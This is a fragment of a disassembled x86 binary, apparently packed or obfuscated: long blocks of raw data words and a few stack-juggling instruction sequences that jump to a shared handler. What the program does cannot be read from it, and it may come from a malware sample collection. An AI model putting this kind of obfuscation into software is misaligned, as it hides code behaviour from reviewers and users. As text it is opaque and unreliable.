		dd 8E8h, 5A1F5400h, 0D8560184h,	0EEBF669Dh, 0C08058D4h
		dd 8B666162h, 0EB01CDCBh, 0F606000h, 8Dh, 615B5600h, 0FB25E2B9h
		dd 0BEB2617Dh, 58F64h, 83000000h, 6A04C4h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 180424h, 55450000h, 0B740E3C3h
		dd 0E980579Ch, 0FC00B33h, 0BE84h, 7E86000h, 0A9000000h
		dd 0C631E305h, 85B2BB85h, 18E0BA5Bh, 61615FD7h,	90E78060h
		dd 613BD980h, 740EBD8Dh, 0D181064Dh, 62645740h,	1B8h, 56006A00h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1804h, 0C3564600h
		dd 0E843A85Eh, 0EE8166A6h, 0E7FF2442h, 13E8h, 7A9A400h
		dd 9D37EEC3h, 2FE106FBh, 8DEB9C8Bh, 4B82BD01h, 14E9h, 0C7374800h
		dd 73231C84h, 2059446Bh, 0E932E291h, 8F38A6AEh,	8B575E05h
		dd 8B10245Ch, 0B883h, 40B60F00h, 89C8FE01h, 0B083h, 0B8838300h
		dd 2000000h, 0C3C0335Fh, 3890Fh, 0B70F0000h, 4850FD0h
		dd 66000000h, 617F0CBEh, 0E850006Ah, 3,	58C35820h, 4244489h
		dd 4244481h, 14h, 3DC35040h, 8BC6CE80h,	0BF0F56C0h, 0BD835ECAh
		dd 64D1BD9h, 83097500h,	4D0011BDh, 19740006h, 0C08B5350h
		dd 40EB8h, 0A5858900h, 8D064D31h, 4FB77C9Dh, 5BD3FF06h
		dd 11BD8358h, 64D00h, 53501774h, 40EB8h, 0A5858900h, 8D064D31h
		dd 4FB41D9Dh, 5BD3FF06h, 128A0F58h, 0E9000000h,	0Dh, 8A00B82Fh
		dd 0BE224B3Dh, 6BC139D3h, 53006A22h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1A04h,	0C3534300h, 70028E81h
		dd 51483341h, 0CE960h, 53B10000h, 0D7852A65h, 9C28637Ch
		dd 6E91CD6h, 34000000h,	0E7A637D1h, 8B5A6181h, 0E8C28BC0h
		dd 0Dh,	0D8B71C58h, 0CB026C4h, 713F3D56h, 19810FF2h, 0E8000000h
		dd 11h,	0E19201A8h, 51C91A03h, 28A35540h, 0AA8EF9DCh, 5F6160CFh
		dd 0BE96058h, 98000000h, 17C968F5h, 0E8F2F51Ah,	61F8C0BFh
		dd 6B95C081h, 0F7810000h, 2BF31F47h, 68h, 7682BA00h, 0BE592A3Eh
		dd 10F25DCEh, 510134FFh, 815B5AF9h, 0D1148BC3h,	12E956h
		dd 9D880000h, 6171CC56h, 0C13A4FD6h, 0BF7BF266h, 786099FDh
		dd 7B81C381h, 0F381759Fh, 5B14415Dh, 8F53D68Bh,	0E9570804h
		dd 5, 0FE326960h, 81665FDAh, 83161FC6h,	666004E9h, 0F3424BFh
		dd 68Dh, 46F28100h, 61292EE4h, 9568F981h, 850FFFFFh, 1Ah
		dd 0E9D0B70Fh, 35h, 0C5F186BDh,	5B692BB5h, 25497930h, 0F1539D5Fh
		dd 5E9E568h, 4E000000h,	0E4EF8E24h, 0FFFF6FE9h,	61AA80FFh
		dd 0C1C05B59h, 8F3497ACh, 64661C1h, 0B83BAD46h,	8EB3Ch
		dd 0
		dd 0E9000000h, 7Bh, 10F5260h, 5AFE244Ch, 8B24C283h, 4D128185h
		dd 88858D06h, 8B06508Fh, 888B08h, 8B000010h, 4A8B660Ah
		dd 0C18D89FCh, 83065043h, 4D0B99BDh, 840F0006h,	0Fh, 0FF006A60h
		dd 4D051195h, 0C4E96106h, 66FFFFFFh, 0C1FC7289h, 896610CEh
		dd 0CD520272h, 85895A04h, 65043BDh, 43C1B58Bh, 0CEC10650h
		dd 72896610h, 0C1B58B02h, 66065043h, 61FC7289h,	43BD858Bh
		dd 8DC30650h, 4D1C6995h, 0BD958906h, 89064D15h,	4D15A995h
		dd 0A985FF06h, 0C6064D15h, 4D26E585h, 0D8685306h, 0FFFCB148h
		dd 4D1431B5h, 6858D06h,	0FF064D39h, 118589D0h, 8D064D05h
		dd 503C6A85h, 89858906h, 0EB064D0Bh, 20h, 7 dup(0)
		dd 542E900h, 36E90000h,	68000005h, 6504631h, 0FD3B04E9h
		dd 46D668FFh, 0FAE90650h, 68FFFD3Ah, 650488Dh, 0FD3AF0E9h
		dd 48F068FFh, 0E6E90650h, 52FFFD3Ah, 0FADAE68Ch, 9D7D892Fh
		dd 41212DD3h, 0E2C2CE74h, 65677319h, 9F450E43h,	46ECB393h
		dd 0E88E5A3Ah, 8E34FCDCh, 0EF1EEB82h, 0D4FEDC91h, 72D095A0h
		dd 0FFCBFFA5h, 4EDD8045h, 86F6BE0Dh, 6CBB6128h,	0D19E440Eh
		dd 4F20D2A2h, 440AE5Bh,	164549D9h, 316E30h, 0A4AC0000h
		dd 0DB4F20CFh, 9CE18B4Ah, 9225F14Fh, 68B720C6h,	3F656439h
		dd 18248DD1h, 2478h, 2D5CA900h,	0D4FEDB53h, 0D5B88E75h
		dd 0AE79AA91h, 0A42EF645h, 0DB4F20D0h, 9BE08C49h, 3F66316Ch
		dd 4B57C0D1h, 5AB7501h,	206C0938h, 85715B4Fh, 0BC622CDFh
		dd 83753B77h, 496F05CEh, 4F89E6FAh, 31FA2E54h, 6C0A1435h
		dd 123DF3E5h, 0BAFF68D1h, 4E9AE98Bh, 2CF385Bh, 8249DCA4h
		dd 359E0FDCh, 6309CC29h, 53F9C01Eh, 0C6AB704h, 1F4E9D43h
		dd 51378DD4h, 419FE44Dh, 0AA7FCE74h, 167F97Bh, 3FD29D55h
		dd 8F00CD73h, 30FB5926h, 67CDBD8Ah, 1D8BF7FDh, 87AABC27h
		dd 0E6C365Bh, 0EA52A147h, 87h, 0A2DDF828h, 507667D8h, 5008BEA9h
		dd 40A91AE7h, 0BDFECCFBh, 0DA43D13Eh, 0C96F3795h, 78083784h
		dd 0B9D4FE35h, 1EED0150h, 251F7C0h, 1E36DCA4h, 92B14DDCh
		dd 0F77D9B70h, 0A6000002h, 4E2E3AE0h, 0F1D1DD83h, 95758127h
		dd 361622C8h, 0B9BBC76Dh, 0F3996237h, 9A4007E7h, 3CE2AE8Eh
		dd 0E2885030h, 43723FD6h, 0D4FEDA3Dh, 86A9E9F4h, 85B95F28h
		dd 0ECCE2E51h, 0D1EF3E3Ch, 2B6h, 32D8A402h, 9C690FDCh
		dd 7514DC2Bh, 93805ABh,	0DB4F206Bh, 6B11DE3Ch, 0D6A34915h
		dd 0DE71665h, 0B8DB4F22h, 0DB4F1FC9h, 4F1F680Ch, 20175DDBh
		dd 0C6AEDB4Fh, 0E19B4F1Fh, 201B6594h, 0AD161B4Fh, 1A52835Eh
		dd 1A43A6D5h, 55BE113Fh, 4428AD88h, 3B17D0FFh, 81EA0AE8h
		dd 7CAB0B69h, 0BEDCB158h, 252h,	0D3DF854Bh, 768228F3h
		dd 1A26CC96h, 0BBC76D3Ah, 606C12DBh, 3C054A5Eh,	0E3AA8A96h
		dd 8551313Dh, 2BF3D3DFh, 15E27985h, 0FEDA9AE6h,	4C8C97D4h
		dd 3A07AD75h, 1CC28FEDh, 0ADD3024Fh, 84DB4F20h,	8863B21Bh
		dd 0ABDA1F4Dh, 0D13F665Eh, 8E6E7AE3h, 32121EC4h, 0A8F5C268h
		dd 0D60F896Ch, 65574F9h, 7DC2AA2Bh, 0CCB4E330h,	65D4FF07h
		dd 7ABD5FCh, 1D86D4FFh,	0BF5281CEh, 92CAEF4Ch, 0CD733Ch
		dd 0C86E398Fh, 0DC218AFBh, 1E7501A0h, 6BBA9A50h, 2CCEA657h
		dd 8A4BCEAEh, 0B9862CF5h, 6B9ADF48h, 0C49E729Ah, 0ACF93EA7h
		dd 0E850305Fh, 78E1C85Dh, 5D03CB29h, 0AB468251h, 0FFA57292h
		dd 738DC132h, 0E6CBB88h, 43E9B346h, 0CF9C0576h,	5DF8E4A0h
		dd 0EC8055C8h, 32FC5AA7h, 0C42DD39Fh, 0AEFDA36Eh, 4E3E227Fh
		dd 2BF755BEh, 0B3875185h, 0CB5A639Ch, 0FB40A97Ch, 6621DBFh
		dd 0CF1EBCECh, 0B65C2482h, 8BF52471h, 0A6C20D55h, 741AE73Dh
		dd 0D3E736A7h, 0B8852BF3h, 0D55FB89h, 0D5973EC2h, 9BB06190h
		dd 38A1B7FDh, 27CD95F3h, 0CD733B1Bh, 0BCB02500h, 0BB4E1977h
		dd 0B7C49EFh, 1564D5A2h, 570499C8h, 84EDB1ADh, 0AD16033Fh
		dd 92245809h, 353F6E43h, 4BB56C96h, 0EA7C67DDh,	1195F4C8h
		dd 16h,	324E7DCAh, 0FFB56CA2h, 0A47F4796h, 0DB4F3DD0h
		dd 706h, 0D0A4BC00h, 5CDB4F3Ah,	0B75D2886h, 37488D68h
		dd 8BFCC96Fh, 5BAEDD22h, 0E6D13F66h, 0A3FC387Dh, 0CBC58068h
		dd 86613685h, 0A9D81D4Fh, 0CAE75DB6h, 0F19763C1h, 4E66CFA2h
		dd 987C5520h, 9B99B78Ch, 2000000h, 0AA8A963Ch, 4D2D39DFh
		dd 0F1D1DD83h, 92727E24h, 151723C9h, 4FF5BE93h,	0F69C6343h
		dd 983E0AEAh, 3EE4AC8Ch, 9FCE9B32h, 0D4FED8E1h,	0F8054550h
		dd 1B4A8FDDh, 0D13F65EEh, 0D01DEA53h, 4913A672h, 0C6F53AA3h
		dd 0D4FEDBBAh, 0E4BF0E77h, 7367BF1h, 0CAE805A4h, 0B4EC046Dh
		dd 20987CC9h, 382D4Bh, 9F650000h, 420DEDF9h, 0E6B0909Ch
		dd 87543440h, 2CF5D5E1h, 70787A86h, 0A4B0561Fh,	4B57FDC4h
		dd 0EDF99F6Bh, 939F450Dh, 80002FFCh, 0B1D4FED8h, 3B566A6h
		dd 6B000000h, 0AF758C54h, 16DE3C09h, 7945A370h,	0E1A806D3h
		dd 47106E3Bh, 0AD76D4A1h, 0FDC3A07h, 743E9C69h,	0D8A301CEh
		dd 83E86532h, 3C8904ECh, 81E78924h, 4C7h, 4EF8300h, 5C243C87h
		dd 81E28952h, 4C2h, 4EA8100h, 87000000h, 895C2414h, 0EC832434h
		dd 241C8904h, 394ABA52h, 93BE0D99h, 1F8B70Bh, 24148BD6h
		dd 4C481h, 0EC830000h, 24248904h, 4240481h, 5B000000h
		dd 50F18951h, 8B8h, 89D80100h, 8B595808h, 8953241Ch, 4C381E3h
		dd 81000000h, 4C3h, 241C8700h, 24348B5Ch
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_546EAD
; ---------------------------------------------------------------------------
		db 2Ah,	6Ch, 4Fh
		dd 398E86F0h, 23C802F6h, 494DB87Fh, 0C5030650h,	51E9C88Bh
		dd 60000000h, 2424748Bh, 8B3C7603h, 8B28247Ch, 0F8C281D6h
		dd 66000000h, 0F064E8Bh, 0F983C9B7h, 16840F00h,	3B000000h
		dd 8F0F0C7Ah, 15h, 8B28EA83h, 4A8B0C42h, 2BC12B14h, 247C89F8h
		dd 8C2611Ch, 28C28300h,	0CF850F49h, 0E9FFFFFFh,	0FFFFFFE9h
		dd 9FD3EBAh, 0E900EB00h, 5B5h, 5A9E9h, 4B396800h, 5EE90650h
		dd 68FFFD35h, 6504C3Bh,	0FD3554E9h, 4CE168FFh, 4AE90650h
		dd 68FFFD35h, 6504DB6h,	0FD3540E9h, 4ED668FFh, 36E90650h
		dd 2FFFD35h, 0AA8A963Ch, 4D2D39DFh, 0F1D1DD83h,	92727E24h
		dd 151723C9h, 4FF5BE93h, 0F69C6343h, 983E0AEAh,	3EE4AC8Ch
		dd 9FCE9B32h, 0D4FED6E1h, 0A4054550h, 0DB4F20D0h, 4F208BF5h
		dd 20374ADBh, 0D69EDB4Fh, 0EFDB4F20h, 0DB4F2084h, 4F203341h
		dd 6738745Bh, 2AA9BCACh, 53D4F796h, 4673C81Fh, 0C6B91CF7h
		dd 2B8956FCh, 0E64FB85Eh, 1CD972A1h, 0F785138h,	0FAA06CCAh
		dd 0F9C11FEEh, 0C6158653h, 40099C68h, 0D53EE4ADh, 11C49F6Ch
		dd 8DC9165Bh, 0C2900393h, 29CF9BA1h, 3382EB5Ch,	0EA45E304h
		dd 9DB51E4Ah, 187AA8E3h, 2B567449h, 0AE000004h,	563642E8h
		dd 0F9D9E58Bh, 9D7D892Fh, 3E1E2AD0h, 0C1C3CF75h, 0FBA16A2Fh
		dd 0A2480FEFh, 44EAB696h, 0EA905838h, 4B7A47DEh, 0D4FED535h
		dd 75B1F1FCh, 0B3A07ADh, 0DB4F2068h, 38AB9985h,	0DEBECA70h
		dd 0CD2B7016h, 3B105F05h, 0A26F15DDh, 582F6BB2h, 93922BB8h
		dd 16A76498h, 90699ADCh, 7C6FD541h, 33020EB4h, 146309D5h
		dd 160794AEh, 3A543B0h,	75810000h, 0B3A07ADh, 0DB4F2068h
		dd 0FF27260h, 0FE95A147h, 0CBB5E431h, 66DB4F20h, 0F789B8FDh
		dd 3ADB4F20h, 63582D1h,	0DB4F207Ah, 23814EB7h, 0D6A5B157h
		dd 3B08AE78h, 551D7BCAh, 0CF07E2AFh, 77C4939Fh,	4F203848h
		dd 53E090DBh, 3389B763h, 9F451268h, 5AE20236h, 0B5097541h
		dd 9A400866h, 2A86FCDh,	0B1EB27F6h, 7B937214h, 3B3968B7h
		dd 5BDB4EEDh, 4621EE94h, 7D23F08Fh, 93A0CF14h, 8ED1381Ah
		dd 0F57D0D25h, 0DAAF92ACh, 329BCh, 44EAB000h, 0E78D5838h
		dd 8B31FBDBh, 2CD29F7Fh, 0D1774020h, 6C2DC3C5h,	11F1FDA3h
		dd 0B898A44Ah, 5A3A46ECh, 49E0EC92h, 0D4334D7Ch, 0F3FED4FEh
		dd 2BAD75B3h, 4F2084FCh, 0DB44ADDBh, 9C63C10Eh,	0E7C89C2Bh
		dd 0C42DA721h, 0D93786F7h, 409E6B11h, 0F9CD0879h, 0DCB61252h
		dd 0AC15BB86h, 4845EFA0h, 0F480DB4Eh, 0A2DB4E56h, 1B6835DBh
		dd 781F2BDh, 0B3727C4Eh, 0B1E02F98h, 0DB4E4BC3h, 16BC86E4h
		dd 83E9ECC7h, 4F880F3Eh, 2559D137h, 0BAF66C49h,	0E00F5488h
		dd 0D50121A0h, 0A7BF2891h, 92AC549Dh, 834C6A3Fh, 56000002h
		dd 0FEDEEA90h, 0A1818D33h, 452531D7h, 0E6C6D278h, 696B771Dh
		dd 0A3491247h, 4AF0B797h, 0EC925E3Eh, 923800E0h, 0F322EF86h
		dd 0D4FED48Dh, 755999A4h, 0A84E1AADh, 0BC016ADBh, 9FEE945Eh
		dd 551F7DCAh, 3A0260AFh, 71D7C794h, 0DDE521F3h,	0F0966035h
		dd 0AE7EB223h, 0B31160CCh, 6A3945EBh, 0ACA9732Eh, 0E59D6AE2h
		dd 0E74C7A71h, 0E04695FEh, 0B016E346h, 1FA75h, 9D02E00h
		dd 3A07AD76h, 229360C9h, 0D0A40BD3h, 0C6DB4F20h, 0B10F54FAh
		dd 0DBEF3EE4h, 0BC892FFBh, 1FEC925Eh, 689BC92Fh, 1BEAF69Ch
		dd 8350F6BDh, 0C55DC312h, 0F2B01642h, 54h, 0BA7F6FABh
		dd 0E8E615C0h, 0BE0D761Ch, 8FDDF8F6h, 4B341B4Ah, 0B41DD138h
		dd 0AC819E9Ch, 37552A92h, 1AEh,	0B3BF652Bh, 566208D3h
		dd 0FA06AC76h, 9BA74D1Ah, 404CF2BBh, 1CE5AA3Eh,	0C38A6A76h
		dd 6531111Dh, 0BD3B3BFh, 0F5C25965h, 0FED3BAC6h, 2C6C77D4h
		dd 0F502A875h, 208FF928h, 0EB38DB4Fh, 4F20C4BCh, 7218E2DBh
		dd 6934A5h, 0A875DEB1h,	0CCD87E4Ah, 397E24ECh, 0F9A88AFDh
		dd 1160BBAEh, 0F975613Ch, 9B410DEDh, 41E7AF8Fh,	0DE4F1674h
		dd 9CDC3643h, 1D29923Bh, 0F68AB986h, 0C1DB4ECDh, 24F19763h
		dd 3B9164B3h, 8DFECB71h, 0CD671948h, 61CADB4Eh,	3CD2BF8h
		dd 9CCB185Dh, 0DB4ECDE4h, 852BF74Dh, 0EAB9CD1Ch, 8D90D6AEh
		dd 184C2602h, 58C3E9A0h, 6C4796A2h, 61BF046Ch, 0EB27F49Ah
		dd 598968D6h, 0D9289101h, 49DCA604h, 9C0DDA80h,	0FE762733h
		dd 1BDB4E9Bh, 3E6DB2BAh, 0D137C7B5h, 60BE036Ch,	20002495h
		dd 5C52EE23h, 3C07E7F3h, 9F6BC996h, 89C6BA2Eh, 15E0C87Dh
		dd 0C831A26Fh, 9A03A972h, 2A86FCDh, 670DD735h, 5616BF9Ah
		dd 83C1E211h, 0D740CAEAh, 7B58A9BFh, 506E4398h,	8Eh, 0D3DF854Bh
		dd 768228F3h, 1A26CC96h, 0BBC76D3Ah, 606C12DBh,	3C054A5Eh
		dd 0E3AA8A96h, 8551313Dh, 2BF3D3DFh, 15E27985h,	0FED29AE6h
		dd 4C8C97D4h, 3A07AD75h, 0A16E14DCh, 8D57B43h, 6D3AE0AAh
		dd 0AF251F85h, 0E361C7h, 4D9238h, 4F20AFD1h, 0CA1982DBh
		dd 0BD89E7B6h, 0EFBC622Ah, 0D748157Eh, 42002288h, 10B7B016h
		dd 0F5000000h, 4F20CFA4h, 59FFC7DBh, 0BAD4Dh, 0A4630000h
		dd 0DB4F20D0h, 4C58FEC6h, 0E1EFF102h, 2, 0AF7518E0h, 16DE3C09h
		dd 7945A370h, 0E1A806D3h, 47106E3Bh, 0AD76D4A1h, 0FDC3A07h
		dd 743E9C69h, 0D8A301CEh, 68E86532h, 7588h, 68242C89h
		dd 3CB6h
		db 89h,	1Ch, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], edx
		push	edi
		mov	edi, 6043461Dh
		mov	ebx, 669390AAh
		sub	ebx, edi
		mov	edi, [esp]
		add	esp, 4
		push	49Dh
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	edx
		push	esi
		mov	esi, ebx
		push	esi
		pop	dword ptr [edx+8]
		pop	esi
		mov	edx, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		jmp	loc_546EAD
; ---------------------------------------------------------------------------
		dd 84A1AEAh, 47BEAEB1h,	5462A8E7h, 89B8BB5Ch, 306504Fh
		dd 0E8D18BC5h, 7, 0C5EEA11Eh, 6607663Ch, 8B58CE8Bh, 0D0C081DFh
		dd 2B00006Bh, 148BF9FFh, 12EA8138h, 0F659C74h, 0EA81CEB7h
		dd 4ECA8FA0h, 0C281A1B7h, 65D87B62h, 89AED180h,	60503814h
		dd 810Fh, 12E90000h, 54000000h,	0A6D87971h, 0DC9593B2h
		dd 10402654h, 69B25458h, 525E611Ch, 815EE1B5h, 2B50DBEFh
		dd 75B9661Ah, 0D7C78116h, 0F1A2B50h, 0FF81F6BFh, 0FFFF94BCh
		dd 0FF9C850Fh, 10E8FFFFh, 90000000h, 0F21EE52Ch, 5E8F2BC3h
		dd 0A6761313h, 5ECEDA30h, 0D9E9h, 0BE1D2000h, 82C12C0Fh
		dd 0B6CFDF2Fh, 5D54FDBEh, 0ECA43636h, 5DD500BCh, 76D352C5h
		dd 0FC94A4D6h, 0AEC44100h, 77CB50C1h, 0ACAC3252h, 91B8009Ch
		dd 0CD64F7F6h, 389382h,	3C0000h, 400000h, 940000h, 50000h
		dd 10000h, 0A280000h, 20000h, 20h dup(0)
		dd 823D0000h, 0A7E9011Dh, 6800001Fh, 65053B5h, 0FD2E34E9h
		dd 54F768FFh, 2AE90650h, 68FFFD2Eh, 65055A1h, 0FD2E20E9h
		dd 564668FFh, 16E90650h, 68FFFD2Eh, 6505728h, 0FD2E0CE9h
		dd 580168FFh, 2E90650h,	68FFFD2Eh, 65058B7h, 0FD2DF8E9h
		dd 594368FFh, 0EEE90650h, 68FFFD2Dh, 6505D58h, 0FD2DE4E9h
		dd 5DC268FFh, 0DAE90650h, 68FFFD2Dh, 6505F0Ch, 0FD2DD0E9h
		dd 61DB68FFh, 0C6E90650h, 68FFFD2Dh, 6506564h, 0FD2DBCE9h
		dd 68F868FFh, 0B2E90650h, 68FFFD2Dh, 6506A3Bh, 0FD2DA8E9h
		dd 6ACD68FFh, 9EE90650h, 68FFFD2Dh, 6506B1Fh, 0FD2D94E9h
		dd 6B8D68FFh, 8AE90650h, 68FFFD2Dh, 6506C77h, 0FD2D80E9h
		dd 6DB268FFh, 76E90650h, 68FFFD2Dh, 6506EA9h, 0FD2D6CE9h
		dd 6006CCFFh, 3A97454h,	0A74D17F7h, 48EEBB9Bh, 0ED935C3Ch
		dd 88C9DFE1h, 2D0D19BFh, 0D4B4C066h, 76566208h,	65FC08AEh
		dd 0CF176998h, 0F1AD4FEh, 7E24EC4Ah, 29F140B1h,	3A07AD75h
		dd 22C88FEDh, 3795E455h, 3784C96Fh, 4F207808h, 0BE642EDBh
		dd 5FB580F1h, 0B122EF95h, 16E5F948h, 0D9CD4ADAh, 9B681CF5h
		dd 4EB728F5h, 0BBB124FFh, 0D3844776h, 64CDD137h, 9C0C6897h
		dd 674D501h, 0BB83A35Eh, 0F553B65Bh, 878A729h, 29D501A4h
		dd 542357C0h, 6C640F37h, 28F35BAAh, 31000000h, 4A8FDDF8h
		dd 3820681Bh, 0BB83D9D1h, 0B0DFAC15h, 0D50220C4h, 0EB164EBCh
		dd 0B65B425Bh, 0E580h, 0FDB3900h, 75521A69h, 0DC3A07ADh
		dd 0EC286D13h, 86A8A8DBh, 60358405h, 0C7943A02h, 3A30A169h
		dd 94BB059Eh, 2FFE0A73h, 4CDB3E2h, 3064DB4Fh, 9F28745Bh
		dd 0F746AFD8h, 4E6E79C8h, 0BF652DDBh, 4DFD3E7Ah, 20562E66h
		dd 15DDBDD1h, 0F755A26Fh, 4BBC892Fh, 0CBB421FCh, 0AFF45D03h
		dd 9AE61562h, 97DB4EE8h, 0ECB5FA2Eh, 21F288Eh, 0E06B84B3h
		dd 3DA6D137h, 6B01D431h, 4B98F726h, 50B9CAF2h, 3EE4AD0Bh
		dd 38056332h, 4978C592h, 0CEB1DD37h, 0D92891FAh, 0F40CB27Bh
		dd 987CF17Ah, 0CC83A176h, 2A00001Ch, 0D2B2BE64h, 75556107h
		dd 19F905ABh, 0BA9AA64Ch, 3D3F4BF1h, 771DE6ABh,	1EC48B6Bh
		dd 0C0663212h, 660CD4B4h, 0C7F6C35Ah, 0D4FECDB9h, 752D6D78h
		dd 1AFA06ACh, 967AC52h,	3DE3AB3Eh, 479607D4h, 0DDF8E933h
		dd 0FC6287C4h, 9700F64Ah, 852BF452h, 3E9CE936h,	9001CE74h
		dd 70711241h, 956D137h,	170A6DAh, 6C358BD5h, 1F88F9C6h
		dd 70D5ABDAh, 0F35CD501h, 9B68D1A4h, 0DAEB124Eh, 4209AC74h
		dd 7CB0C4F3h, 81D0D501h, 0E6417945h, 3F8E359Ch,	0DC6691D3h
		dd 16B65B11h, 7845EBB8h, 0D750B807h, 8E000000h,	3A07AD75h
		dd 286D13DCh, 0A16D00CAh, 54BD2EFBh, 0BB612987h, 0C5147DEEh
		dd 956A3F0h, 4F20A6DAh,	0FB228BDBh, 0DB4F2085h,	0C5F443ACh
		dd 0DB4F267Ch, 40E8FF3Bh, 85CEA95Bh, 6A10D836h,	10B67E5Eh
		dd 0C1BAF643h, 0F89A222h, 7A5B3685h, 717EADF2h,	0A0D137A6h
		dd 7CE2B37h, 8FF12065h,	28CAF20Eh, 2D34F2ECh, 388EBC7Ch
		dd 0A578C76Dh, 15E2884Fh, 36E799C8h, 0E14ACEB1h, 6CCA0F78h
		dd 0B24510A3h, 0DDA43E9h, 19CB0AD1h, 87F0EAFEh,	6932121Eh
		dd 9B9ABC3h, 4E23987Ch,	1B8A30h, 0A66C00h, 0A34914F4h
		dd 47EDB797h, 0E88E5B3Bh, 8D33FCDCh, 28697F81h,	0CDADB95Fh
		dd 74546006h, 16F602A8h, 59CA84Eh, 0CC770938h, 0AFBAD4FEh
		dd 6AC756Fh, 0AC521AFAh, 288656A0h, 0C6AB95Fh, 84D19E44h
		dd 40E04348h, 480F914Eh, 0FB64D5A2h, 0BF987B6h,	0CF38DB4Fh
		dd 0B45A2280h, 2F0E45A8h, 5281C6A6h, 0D138320Dh, 0A337BE4h
		dd 99B1536Eh, 0FD422AABh, 0DFFD80C1h, 4594FC96h, 0A45AC9F8h
		dd 3EA70E5Ch, 2D3F9671h, 0B3C5B9E8h, 36C080Fh, 0F29860BEh
		dd 0F0B917E6h, 0BD0C7D4Ah, 0D9F1975Fh, 5B946D7Dh, 0E0547247h
		dd 1600001Ah, 0BE9EAA50h, 61414DF3h, 5E5F197h, 0A6869238h
		dd 292B37DDh, 6309D287h, 0AB07757h, 0AC521EFEh,	52F8C0A0h
		dd 0B3E2AF46h, 0D4FECBCDh, 86195964h, 0EDBA6028h, 7CF2D7Ch
		dd 1CB99461h, 8DF69C63h, 0D19DFB48h, 9EED5E2Bh,	3835786Fh
		dd 0DB2089D1h, 0EA5D399Fh, 7AC9CD45h, 0E9C80366h, 0C3B80ECh
		dd 0CAEA6653h, 0C4ED359Eh, 84027839h, 7E02317Eh, 0B30702BAh
		dd 0B520FB4Ah, 0E04372B7h, 21FCEBCFh, 0C510EBB8h, 4B3362A7h
		dd 0E6F69EDEh, 0B922C890h, 0A84E1674h, 4EF4BC9Ch, 7061236h
		dd 0A7C59A74h, 1A3Bh, 434FF5BBh, 0E6F29863h, 8A963C06h
		dd 2B37DDAAh, 0D0DC824Bh, 0AC75DACEh, 531AFA06h, 0F5C1A1ADh
		dd 9B63434Fh, 8552E9F5h, 0FECB2A56h, 0BCFC07D4h, 0C207AD75h
		dd 203A4675h, 248EDB4Fh, 67311B32h, 9AE9521Dh, 81EBEAC5h
		dd 0C260D3Ch, 92FBD138h, 8127EF4Dh, 669AD94Dh, 3523AD8h
		dd 37E420EFh, 5844ECF5h, 4E9A7BCAh, 0C3086471h,	0EB17CB94h
		dd 854EACCAh, 0C9ACD403h, 1C85CEB4h, 289164B3h,	839BB7E0h
		dd 3CB2FAh, 39044139h, 2155C693h, 4594699Ah, 0BC016B6Ah
		dd 0F50F968Dh, 0BD026B27h, 0EF73181h, 8064E6DBh, 71A0A38Ah
		dd 1D6258Eh, 0E38956B4h, 7B56A516h, 4E13475Ah, 4588050Ch
		dd 166897DCh, 1B21A75Ch, 470F6DB2h, 0EDB595A1h,	1EEB915Ah
		dd 0DA2C44ADh, 86213F84h, 195993B1h, 0D79D0000h, 7A452531h
		dd 1EE8C8D4h, 0BF8C6C78h, 642D0D19h, 38B0B2BEh,	0DCE88E57h
		dd 838F35FCh, 2531D7A3h, 0CBD77D45h, 48386734h,	0E9D4FEC9h
		dd 0AD759EDEh, 0F00433Ch, 4E98A0E0h, 0F42891DBh, 0DA43D3ABh
		dd 0C9A3320Dh, 0EDFB3784h, 387856D9h, 0C7565C07h, 8BF46636h
		dd 48A0D3Ch, 0EE57D138h, 5A377FE2h, 9AE6157Bh, 97D501FCh
		dd 5180C52Eh, 0CAEB230Eh, 9327AE3h, 0D1988A61h,	0EA2F3D98h
		dd 5B3668BBh, 633099C7h, 0DA1F4D88h, 0E45D3ABh,	0B0F55EC1h
		dd 15E28852h, 0BB0855A4h, 0ABB9B87Fh, 5F00493Fh, 0CCD9C4DBh
		dd 7374A811h, 0F41ED028h, 773F9DECh, 642E8CD1h,	8C5B6FBEh
		dd 2DCF3250h, 0E413565Fh, 0C4D7E89Ch, 74C32C95h, 90A84E16h
		dd 82968B4Ch, 80ED0BE0h, 76000018h, 1EFE0AB0h, 0C1A1AD53h
		dd 654551F7h, 6E6F298h,	898B973Dh, 0C3693267h, 6A10D7B7h
		dd 0CB27E5Eh, 0B2582000h, 13420FA6h, 0D4FEC86Dh, 7579B9C4h
		dd 5F3A07ADh, 82B1F676h, 0D1384C21h, 86B77E0h, 85E7EECDh
		dd 0CD640440h, 2E0AC0DFh, 0FC6392DFh, 0F5CAEAC4h, 0C1FD448Ch
		dd 53D76368h, 0B583B71Fh, 5C98AEF6h, 7F3463B2h,	9A9819C6h
		dd 0BDEC313Bh, 30D4EC66h, 0DBA5D421h, 0ED349EC2h, 8790FDD3h
		dd 339C67B9h, 0DBA811E4h, 0C167308Eh, 593483F4h, 7CABF07Ch
		dd 2A878B02h, 0E88E57B5h, 885BAA1Bh, 0B47CDA1Fh, 5A22020Eh
		dd 0BB569CB4h, 0DE2381Fh, 17CAEFh, 0C0662C00h, 6309D4B4h
		dd 7AD7757h, 0A84E1BFBh, 4DF3BC9Ch, 0E8A93F41h,	8D6D791Fh
		dd 341420C6h, 0D6B6C268h, 0C55C680Eh, 0C8B7C9F8h, 6F7AD4FEh
		dd 3CAD752Fh, 59493EF6h, 6F3B9111h, 0B89360C9h,	0DB0A4F1Dh
		dd 0D13EFA81h, 64C20770h, 39EAF69Ch, 0D4FE59D7h, 0F8046872h
		dd 9EAA5018h, 93D89441h, 0EEA8F864h, 4B90F9CAh,	32D8A0FEh
		dd 47A5F465h, 35BE0B7Ch, 932C5BC1h, 733E1E2Ah, 0DAA200CDh
		dd 0D7EC1C34h, 83589840h, 173E65h, 4CF2B800h, 0EF956040h
		dd 933903E3h, 34DAA787h, 0D97F4828h, 7425CBCDh,	19F905ABh
